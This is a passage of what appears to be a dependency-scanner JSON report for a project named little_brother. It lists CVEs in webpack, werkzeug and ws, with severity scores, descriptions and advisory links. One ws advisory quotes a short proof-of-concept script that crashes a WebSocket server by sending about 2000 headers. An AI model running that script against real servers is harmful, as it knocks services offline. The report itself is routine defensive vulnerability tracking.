              "url": "https:\/\/github.com\/webpack\/webpack\/issues\/18718#issuecomment-2326296270",
              "name": "https:\/\/github.com\/webpack\/webpack\/issues\/18718#issuecomment-2326296270"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986",
              "name": "https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/research.securitum.com\/xss-in-amp4email-dom-clobbering",
              "name": "https:\/\/research.securitum.com\/xss-in-amp4email-dom-clobbering"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/webpack\/webpack\/commit\/955e057abc6cc83cbc3fa1e1ef67a49758bf5a61",
              "name": "https:\/\/github.com\/webpack\/webpack\/commit\/955e057abc6cc83cbc3fa1e1ef67a49758bf5a61"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-4vvj-4cpr-p986",
              "name": "https:\/\/github.com\/advisories\/GHSA-4vvj-4cpr-p986"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:webpack:\\>\\=5.0.0-alpha.0\\<5.94.0:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-43788",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 6.099999904632568,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "Webpack is a module bundler. Its main purpose is to bundle JavaScript files for usage in a browser, yet it is also capable of transforming, bundling, or packaging just about any resource or asset. The webpack developers have discovered a DOM Clobbering vulnerability in Webpack\u2019s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Real-world exploitation of this gadget has been observed in the Canvas LMS which allows a XSS attack to happen through a javascript code compiled by Webpack (the vulnerable part is from Webpack). DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. This issue has been addressed in release version 5.94.0. All users are advised to upgrade. There are no known workarounds for this issue.",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-43788?component-type=npm&component-name=webpack&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-43788] CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43788",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-43788"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986",
              "name": "https:\/\/github.com\/webpack\/webpack\/security\/advisories\/GHSA-4vvj-4cpr-p986"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:webpack:5.88.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "werkzeug:2.3.8",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:werkzeug\/2.3.8",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "werkzeug"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "werkzeug"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.8"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/werkzeug@2.3.8",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/werkzeug@2.3.8?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-34069",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-352"
          ],
          "description": "Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger. This vulnerability is fixed in 3.0.3.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985",
              "name": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-34069?component-type=pypi&component-name=werkzeug&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-34069] CWE-352: Cross-Site Request Forgery (CSRF)"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:werkzeug:2.3.8:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "werkzeug:2.3.8",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:werkzeug\/2.3.8",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "werkzeug"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "werkzeug"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.8"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/werkzeug@2.3.8",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/werkzeug@2.3.8?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-34069",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-352"
          ],
          "description": "Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger. This vulnerability is fixed in 3.0.3.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985",
              "name": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-34069?component-type=pypi&component-name=werkzeug&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-34069] CWE-352: Cross-Site Request Forgery (CSRF)"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:werkzeug:2.3.8:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "werkzeug:2.3.8",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/dist\/some-flask-helpers-0.2.6.tar.gz\/some-flask-helpers-0.2.6.tar\/some-flask-helpers-0.2.6\/requirements.txt:werkzeug\/2.3.8",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "werkzeug"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "werkzeug"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.8"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/werkzeug@2.3.8",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/werkzeug@2.3.8?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-34069",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-352"
          ],
          "description": "Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger. This vulnerability is fixed in 3.0.3.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985",
              "name": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-34069?component-type=pypi&component-name=werkzeug&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-34069] CWE-352: Cross-Site Request Forgery (CSRF)"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:werkzeug:2.3.8:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "werkzeug:2.3.8",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/requirements.txt:werkzeug\/2.3.8",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "werkzeug"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "werkzeug"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.8"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/werkzeug@2.3.8",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/werkzeug@2.3.8?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-34069",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-352"
          ],
          "description": "Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger. This vulnerability is fixed in 3.0.3.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985",
              "name": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-34069?component-type=pypi&component-name=werkzeug&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-34069] CWE-352: Cross-Site Request Forgery (CSRF)"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:werkzeug:2.3.8:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "werkzeug:2.3.8",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:werkzeug\/2.3.8",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "werkzeug"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "werkzeug"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.8"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/werkzeug@2.3.8",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/werkzeug@2.3.8?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-34069",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-352"
          ],
          "description": "Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger. This vulnerability is fixed in 3.0.3.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985",
              "name": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-34069?component-type=pypi&component-name=werkzeug&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-34069] CWE-352: Cross-Site Request Forgery (CSRF)"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:werkzeug:2.3.8:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "werkzeug:2.3.8",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:werkzeug\/2.3.8",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "werkzeug"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "werkzeug"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.8"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/werkzeug@2.3.8",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/werkzeug@2.3.8?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-34069",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-352"
          ],
          "description": "Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger. This vulnerability is fixed in 3.0.3.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-34069"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985",
              "name": "https:\/\/github.com\/pallets\/werkzeug\/security\/advisories\/GHSA-2g68-c3qc-8985"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-34069?component-type=pypi&component-name=werkzeug&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-34069] CWE-352: Cross-Site Request Forgery (CSRF)"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:werkzeug:2.3.8:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "ws:8.11.0",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?ws",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "ws"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "ws"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "8.11.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/ws@8.11.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/ws@8.11.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-37890",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-476"
          ],
          "description": "ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and\/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/websockets\/ws\/security\/advisories\/GHSA-3h5v-q93c-6h6q",
              "name": "https:\/\/github.com\/websockets\/ws\/security\/advisories\/GHSA-3h5v-q93c-6h6q"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-37890?component-type=npm&component-name=ws&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-37890] CWE-476: NULL Pointer Dereference"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-37890",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-37890"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:ws:8.11.0:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-3h5v-q93c-6h6q",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-476"
          ],
          "description": "### Impact\n\nA request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server.\n\n### Proof of concept\n\n```js\nconst http = require('http');\nconst WebSocket = require('ws');\n\nconst wss = new WebSocket.Server({ port: 0 }, function () {\n  const chars = \"!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~\".split('');\n  const headers = {};\n  let count = 0;\n\n  for (let i = 0; i < chars.length; i++) {\n    if (count === 2000) break;\n\n    for (let j = 0; j < chars.length; j++) {\n      const key = chars[i] + chars[j];\n      headers[key] = 'x';\n\n      if (++count === 2000) break;\n    }\n  }\n\n  headers.Connection = 'Upgrade';\n  headers.Upgrade = 'websocket';\n  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';\n  headers['Sec-WebSocket-Version'] = '13';\n\n  const request = http.request({\n    headers: headers,\n    host: '127.0.0.1',\n    port: wss.address().port\n  });\n\n  request.end();\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.17.1 (https:\/\/github.com\/websockets\/ws\/commit\/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https:\/\/github.com\/websockets\/ws\/commit\/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https:\/\/github.com\/websockets\/ws\/commit\/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https:\/\/github.com\/websockets\/ws\/commit\/4abd8f6de4b0b65ef80b3ff081989479ed93377e)\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated in the following ways:\n\n1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and\/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.\n2. Set `server.maxHeadersCount` to `0` so that no limit is applied.\n\n### Credits\n\nThe vulnerability was reported by [Ryan LaPointe](https:\/\/github.com\/rrlapointe) in https:\/\/github.com\/websockets\/ws\/issues\/2230.\n\n### References\n\n- https:\/\/github.com\/websockets\/ws\/issues\/2230\n- https:\/\/github.com\/websockets\/ws\/pull\/2231\n\n[`--max-http-header-size=size`]: https:\/\/nodejs.org\/api\/cli.html#--max-http-header-sizesize\n[`maxHeaderSize`]: https:\/\/nodejs.org\/api\/http.html#httpcreateserveroptions-requestlistener\n[`server.maxHeadersCount`]: https:\/\/nodejs.org\/api\/http.html#servermaxheaderscount\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/websockets\/ws\/issues\/2230",
              "name": "https:\/\/github.com\/websockets\/ws\/issues\/2230"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-3h5v-q93c-6h6q",
              "name": "https:\/\/github.com\/advisories\/GHSA-3h5v-q93c-6h6q"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/websockets\/ws\/security\/advisories\/GHSA-3h5v-q93c-6h6q",
              "name": "https:\/\/github.com\/websockets\/ws\/security\/advisories\/GHSA-3h5v-q93c-6h6q"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/websockets\/ws\/commit\/4abd8f6de4b0b65ef80b3ff081989479ed93377e",
              "name": "https:\/\/github.com\/websockets\/ws\/commit\/4abd8f6de4b0b65ef80b3ff081989479ed93377e"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/websockets\/ws\/pull\/2231",
              "name": "https:\/\/github.com\/websockets\/ws\/pull\/2231"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/websockets\/ws\/commit\/e55e5106f10fcbaac37cfa89759e4cc0d073a52c",
              "name": "https:\/\/github.com\/websockets\/ws\/commit\/e55e5106f10fcbaac37cfa89759e4cc0d073a52c"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/websockets\/ws\/commit\/eeb76d313e2a00dd5247ca3597bba7877d064a63",
              "name": "https:\/\/github.com\/websockets\/ws\/commit\/eeb76d313e2a00dd5247ca3597bba7877d064a63"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/websockets\/ws\/commit\/22c28763234aa75a7e1b76f5c01c181260d7917f",
              "name": "https:\/\/github.com\/websockets\/ws\/commit\/22c28763234aa75a7e1b76f5c01c181260d7917f"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:ws:\\>\\=8.0.0\\<8.17.1:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "wtforms:3.0.1",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:wtforms\/3.0.1",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
